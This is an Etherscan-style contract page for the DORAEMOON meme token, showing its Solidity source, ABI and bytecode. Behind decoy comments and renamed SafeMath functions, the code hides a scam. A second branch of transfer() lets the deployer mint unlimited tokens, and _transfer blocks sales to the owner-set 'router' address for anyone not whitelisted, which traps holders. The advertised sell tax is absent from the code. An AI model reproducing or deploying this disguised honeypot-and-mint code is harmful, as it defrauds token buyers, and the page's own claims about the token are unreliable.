ERC-20
Overview
Max Total Supply
100,000,079,999,999.999999999999999999 DORAEMOON
Holders
72
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DSF
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-21 */ /* 👊 DORAEMOON STREET FIGHTER 👊 ❗️ A New Challenger ❗️ DORAEMON the time traveling robotic cat has journeyed back to the mid 1990s to battle for the world championship STREET FIGHTER TOURNAMENT! With multiple special moves including: 🔥 FIREBALL 🌪 👊Hurricane Punch 🥊 Hyper Kick He's ready to take on any fighter in the arcade! TAXES: Buy = 0% Sell = 5% (2% marketing 3% all holders) */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function setmarketingwallet (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function fee(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function teamwallet(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { fee(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract DSF is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 80000000 * 10 ** 18; constructor () ERC20(unicode'DoraeMOONs STREET👊FIGHTER','DORAEMOON') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"set","type":"address"}],"name":"setmarketingwallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"teamwallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a060405260126080526a422ca8b0a00a4250000000600a553480156200002557600080fd5b506040518060400160405280601c81526020017f446f7261654d4f4f4e7320535452454554f09f918a4649474854455200000000815250604051806040016040528060098152602001682227a920a2a6a7a7a760b91b8152506000620000906200013060201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908290a3508151620000ef90600790602085019062000226565b5080516200010590600890602084019062000226565b50506009805460ff19166001179055506200012a620001213390565b600a5462000134565b62000330565b3390565b6001600160a01b038216620001995760405162461bcd60e51b815260206004820152602160248201527f45524332303a206465706c6f7920746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060066000828254620001ad9190620002cc565b90915550506001600160a01b03821660009081526004602052604081208054839290620001dc908490620002cc565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8280546200023490620002f3565b90600052602060002090601f016020900481019282620002585760008555620002a3565b82601f106200027357805160ff1916838001178555620002a3565b82800160010185558215620002a3579182015b82811115620002a357825182559160200191906001019062000286565b50620002b1929150620002b5565b5090565b5b80821115620002b15760008155600101620002b6565b60008219821115620002ee57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200030857607f821691505b602082108114156200032a57634e487b7160e01b600052602260045260246000fd5b50919050565b608051610e106200034c60003960006101670152610e106000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063dd62ed3e14610243578063ff5da6331461027c57600080fd5b806370a08231146101b9578063715018a6146101e25780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806354caf86c146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000000016815260200161010f565b61012b61019f366004610b65565b6103ee565b6101b76101b2366004610bcb565b610425565b005b61013f6101c7366004610bcb565b6001600160a01b031660009081526004602052604090205490565b6101b7610471565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104e5565b61012b61022b366004610b65565b6104f4565b61012b61023e366004610b65565b61058f565b61013f610251366004610be6565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101b761028a366004610c2f565b61069b565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461049b5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b61058533856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105b1575060095460ff1615156001145b156105d4576105c2335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156105f1575060095460ff16155b1561068a576006546106039083610a40565b6006556001600160a01b0383166000908152600460205260409020546106299083610a40565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067a9086815260200190565b60405180910390a3506001610332565b610693336105bb565b506001610332565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016103c690610d74565b60005b8151811015610705576106f38282815181106106e6576106e6610da9565b6020026020010151610aa6565b806106fd81610dbf565b9150506106c8565b5050565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b600080610a4d8385610d5c565b905083811015610a9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b600060208284031215610bdd57600080fd5b610a9f82610b49565b60008060408385031215610bf957600080fd5b610c0283610b49565b9150610c1060208401610b49565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610c4257600080fd5b823567ffffffffffffffff80821115610c5a57600080fd5b818501915085601f830112610c6e57600080fd5b813581811115610c8057610c80610c19565b8060051b604051601f19603f83011681018181108582111715610ca557610ca5610c19565b604052918252848201925083810185019188831115610cc357600080fd5b938501935b82851015610ce857610cd985610b49565b84529385019392850192610cc8565b98975050505050505050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea2646970667358221220d78aa7741f42d3d217f5dd25c3444c4dd2720a899a38c560b8773e2a26b8bb2b64736f6c634300080a0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063dd62ed3e14610243578063ff5da6331461027c57600080fd5b806370a08231146101b9578063715018a6146101e25780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806354caf86c146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610b65565b6103ee565b6101b76101b2366004610bcb565b610425565b005b61013f6101c7366004610bcb565b6001600160a01b031660009081526004602052604090205490565b6101b7610471565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104e5565b61012b61022b366004610b65565b6104f4565b61012b61023e366004610b65565b61058f565b61013f610251366004610be6565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101b761028a366004610c2f565b61069b565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461049b5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b61058533856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105b1575060095460ff1615156001145b156105d4576105c2335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156105f1575060095460ff16155b1561068a576006546106039083610a40565b6006556001600160a01b0383166000908152600460205260409020546106299083610a40565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067a9086815260200190565b60405180910390a3506001610332565b610693336105bb565b506001610332565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016103c690610d74565b60005b8151811015610705576106f38282815181106106e6576106e6610da9565b6020026020010151610aa6565b806106fd81610dbf565b9150506106c8565b5050565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b600080610a4d8385610d5c565b905083811015610a9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b600060208284031215610bdd57600080fd5b610a9f82610b49565b60008060408385031215610bf957600080fd5b610c0283610b49565b9150610c1060208401610b49565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610c4257600080fd5b823567ffffffffffffffff80821115610c5a57600080fd5b818501915085601f830112610c6e57600080fd5b813581811115610c8057610c80610c19565b8060051b604051601f19603f83011681018181108582111715610ca557610ca5610c19565b604052918252848201925083810185019188831115610cc357600080fd5b938501935b82851015610ce857610cd985610b49565b84529385019392850192610cc8565b98975050505050505050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea2646970667358221220d78aa7741f42d3d217f5dd25c3444c4dd2720a899a38c560b8773e2a26b8bb2b64736f6c634300080a0033
Deployed Bytecode Sourcemap
14868:370:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7877:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10738:169;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;10738:169:0;1053:187:1;9142:108:0;9230:12;;9142:108;;;1391:25:1;;;1379:2;1364:18;9142:108:0;1245:177:1;10913:418:0;;;;;;:::i;:::-;;:::i;15135:100::-;;;1932:4:1;15218:9:0;1920:17:1;1902:36;;1890:2;1875:18;15135:100:0;1760:184:1;12019:215:0;;;;;;:::i;:::-;;:::i;8627:88::-;;;;;;:::i;:::-;;:::i;:::-;;9568:127;;;;;;:::i;:::-;-1:-1:-1;;;;;9669:18:0;9642:7;9669:18;;;:9;:18;;;;;;;9568:127;6758:130;;;:::i;5862:20::-;;;;;-1:-1:-1;;;;;5862:20:0;;;;;;-1:-1:-1;;;;;2304:32:1;;;2286:51;;2274:2;2259:18;5862:20:0;2140:203:1;8296:104:0;;;:::i;12240:375::-;;;;;;:::i;:::-;;:::i;10065:510::-;;;;;;:::i;:::-;;:::i;10581:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10697:18:0;;;10670:7;10697:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10581:151;11850:159;;;;;;:::i;:::-;;:::i;7877:100::-;7931:13;7964:5;7957:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7877:100;:::o;10738:169::-;10821:4;10838:39;551:10;10861:7;10870:6;10838:8;:39::i;:::-;-1:-1:-1;10895:4:0;10738:169;;;;;:::o;10913:418::-;11019:4;11036:36;11046:6;11054:9;11065:6;11036:9;:36::i;:::-;-1:-1:-1;;;;;11110:19:0;;11083:24;11110:19;;;:11;:19;;;;;;;;551:10;11110:33;;;;;;;;11162:26;;;;11154:79;;;;-1:-1:-1;;;11154:79:0;;4458:2:1;11154:79:0;;;4440:21:1;4497:2;4477:18;;;4470:30;4536:34;4516:18;;;4509:62;-1:-1:-1;;;4587:18:1;;